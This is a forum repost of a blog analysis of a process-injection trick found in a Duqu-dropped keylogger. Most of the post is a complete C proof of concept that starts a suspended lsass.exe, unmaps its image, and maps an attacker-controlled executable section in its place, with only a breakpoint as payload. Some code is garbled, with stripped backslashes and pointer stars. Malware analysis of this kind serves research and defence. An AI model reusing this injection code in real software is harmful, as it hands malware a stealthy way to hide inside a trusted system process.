Nytro Posted November 6, 2011 Report Posted November 6, 2011 (edited) Doqu - New method of injection06/11/2011Introduction I disovered a new method of injection (I don't know if it is really new) in a malware dropped by duqu.So I want to share it with you and as usual write a p0c.Injection MethodThe malware in question is simply a keylogger, but it uses a nice tricks for injecting into another process.First it will create (as usual) a suspended lsass.exe process via CreateProcess().Then it will gather process information via ZwQueryInformationProcess(), especially PebBaseAddress.But what can he do with this address, if we look at PEB struct :>dt nt!_PEB+0x000 InheritedAddressSpace : UChar+0x001 ReadImageFileExecOptions : UChar+0x002 BeingDebugged : UChar+0x003 SpareBool : UChar+0x004 Mutant : Ptr32 Void+0x008 ImageBaseAddress : Ptr32 VoidIt will get the ImageBaseAddress at offset 0x8, by reading it with ReadProcessMemory().Then it create a section with ZwCreateSection(), then it will in the actual process (not in lsass.exe supended), ZwMapViewOfSection() with argument BaseAdresse equal to ImageBaseAddress of lsass.exe process, then he will do the same operation on lsass.exe process, but wait ! if we read the documentation of ZwMapViewOfSection, we will get a NTSTATUS equal to STATUS_CONFLICTING_ADDRESSES, and the answer is no, because before the second ZwMapViewOfSection, it will perform ZwUn_mapViewOfSection() with BaseAddress equal to ImageBaseAddress on lsass.exe process.And if you wonder : "Wait what !? is it possible ?", and the answer is yes.With this tricks the malware is able to replace ALL the PE image of the suspended process.In my case it will replace entry point with a jmp to an another Section that it created before this tricks inside lsass.exe.p0cSo I decided to rewrite this tricks, to well understand the stuff done by the malware ( maybe you will better understand what I explained before ). #include "main.h"int get_entrypoint(char read_proc){ IMAGE_DOS_HEADER idh = NULL; IMAGE_NT_HEADERS inh = NULL; idh = (IMAGE_DOS_HEADER)read_proc; inh = (IMAGE_NT_HEADERS )((BYTE)read_proc + idh->e_lfanew); printf("Entrypoint = %xn", inh->OptionalHeader.AddressOfEntryPoint); return (inh->OptionalHeader.AddressOfEntryPoint);}int main(void) { STARTUPINFO si; PROCESS_INFORMATION pi; char path_lsass[260]; PROCESS_BASIC_INFORMATION pbi; DWORD nb_read; DWORD ImageBase; HANDLE hsect; NTSTATUS stat; PVOID BaseAddress = NULL; PVOID BaseAddress2 = NULL; DWORD eip; memset(&si, 0, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); memset(&pi, 0, sizeof(PROCESS_INFORMATION)); memset(&pbi, 0, sizeof(PROCESS_BASIC_INFORMATION)); ExpandEnvironmentStrings(L"%SystemRoot%\system32\lsass.exe", (LPWSTR)path_lsass, 260); wprintf(L"[+] New Path for lsasse.exe = %sn", path_lsass); if (!CreateProcess((LPWSTR)path_lsass, NULL, NULL, NULL, NULL, CREATE_SUSPENDED|DETACHED_PROCESS|CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { printf("[-] CreateProcessW failedn"); printf("LatError = %xn", GetLastError()); return (-1); } ZwQueryInformationProcess = (long (__stdcall )(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll"),"ZwQueryInformationProcess"); ZwMapViewOfSection = (long (__stdcall )(HANDLE,HANDLE,PVOID ,ULONG_PTR,SIZE_T,PLARGE_INTEGER,PSIZE_T,DWORD,ULONG,ULONG))GetProcAddress(GetModuleHandleA("ntdll"),"ZwMapViewOfSection"); ZwUn_mapViewOfSection = (long (__stdcall )(HANDLE, PVOID))GetProcAddress(GetModuleHandleA("ntdll"),"ZwUn_mapViewOfSection"); ZwCreateSection = (long (__stdcall )(PHANDLE,ACCESS_MASK,PDWORD,PLARGE_INTEGER,ULONG,ULONG,HANDLE))GetProcAddress(GetModuleHandleA("ntdll"),"ZwCreateSection"); if (ZwMapViewOfSection == NULL || ZwQueryInformationProcess == NULL || ZwUn_mapViewOfSection == NULL || ZwCreateSection == NULL) { printf("[-] GetProcAddress failedn"); return (-1); } if (ZwQueryInformationProcess(pi.hProcess, 0, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL) != 0) { printf("[-] ZwQueryInformation failedn"); return (-1); } printf("[+] UniqueProcessID = 0x%xn", pbi.UniqueProcessId); if (!ReadProcessMemory(pi.hProcess, (BYTE)pbi.PebBaseAddress + 8, &ImageBase, 4, &nb_read) && nb_read != 4) { printf("[-] ReadProcessMemory failedn"); return (-1); } printf("[+] ImageBase = 0x%xn", ImageBase); char read_proc[0x2000]; if (!ReadProcessMemory(pi.hProcess, (LPCVOID)ImageBase, read_proc, 0x2000, &nb_read) && nb_read != 0x2000) { printf("[-] ReadProcessMemory failedn"); return (-1); } printf("(dbg) Two first bytes : %c%cn", read_proc[0], read_proc[1]); eip = get_entrypoint(read_proc); LARGE_INTEGER a; a.HighPart = 0; a.LowPart = 0x8EF2; if ((stat = ZwCreateSection(&hsect, SECTION_ALL_ACCESS, NULL, &a, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS) { printf("[-] ZwCreateSection failedn"); printf("[-] NTSTATUS = %xn", stat); return (-1); } SIZE_T size; size = 0x8000; BaseAddress = 0; BaseAddress = (PVOID)ImageBase; if ((stat = ZwMapViewOfSection(hsect, GetCurrentProcess(), &BaseAddress, NULL, NULL, NULL, &size, 1 /* ViewShare /, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS) { printf("[-] ZwMapViewOfSection failedn"); printf("[-] NTSTATUS = %xn", stat); return (-1); } ZwUn_mapViewOfSection(pi.hProcess, BaseAddress); if ((stat = ZwMapViewOfSection(hsect, pi.hProcess, &BaseAddress, NULL, NULL, NULL, &size, 1 / ViewShare /, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS) { printf("[-] ZwMapViewOfSection failedn"); printf("[-] NTSTATUS = %xn", stat); system("pause"); return (-1); } printf("[+] No more STATUS_CONFLICTING_ADDRESSES, let's insert a int3n"); memset((BYTE)read_proc + eip, 0xCC, 1); memcpy(BaseAddress, read_proc, 0x2000); ResumeThread(pi.hThread); system("pause"); return (0); }And the include file :#include <stdio.h>#include <Windows.h>#if !defined NTSTATUStypedef LONG NTSTATUS;#endif#define STATUS_SUCCESS 0#if !defined PROCESSINFOCLASStypedef LONG PROCESSINFOCLASS;#endif#if !defined PPEBtypedef struct _PEB *PPEB;#endif#if !defined PROCESS_BASIC_INFORMATIONtypedef struct _PROCESS_BASIC_INFORMATION { PVOID Reserved1; PPEB PebBaseAddress; PVOID Reserved2[2]; ULONG_PTR UniqueProcessId; PVOID Reserved3;} PROCESS_BASIC_INFORMATION;#endif;typedef LONG NTSTATUS, *PNTSTATUS;typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer;} UNICODE_STRING, *PUNICODE_STRING;typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService;} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;typedef NTSTATUS (WINAPI * PFN_ZWQUERYINFORMATIONPROCESS)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);NTSTATUS (__stdcall *ZwQueryInformationProcess)( HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength OPTIONAL );NTSTATUS (__stdcall *ZwCreateSection)( PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, PDWORD ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL );NTSTATUS (__stdcall *ZwMapViewOfSection) (HANDLE SectionHandle,HANDLE ProcessHandle,OUT PVOID *BaseAddress,ULONG_PTR ZeroBits,SIZE_T CommitSize,PLARGE_INTEGER SectionOffset,PSIZE_T ViewSize,DWORD InheritDisposition,ULONG AllocationType,ULONG Win32Protect);NTSTATUS (__stdcall *ZwUn_mapViewOfSection)( HANDLE ProcessHandle, PVOID BaseAddress );So for the p0c i just put a INT3 at entry point of lsass.exe, and here the result :ConclusionThis method is really fun because it don't use SetThreadContext(), for updating eip before resuming thread execution.Sursa: http://blog.w4kfu.com/post/new_method_of_injectionIMPORTANT: Am inlocuit ZwUn mapViewOfSection cu ZwUn_mapViewOfSection (pentru ca nu puteam posta altfel, thanks Zatarra)Vedeti sursa. Edited November 6, 2011 by Nytro Quote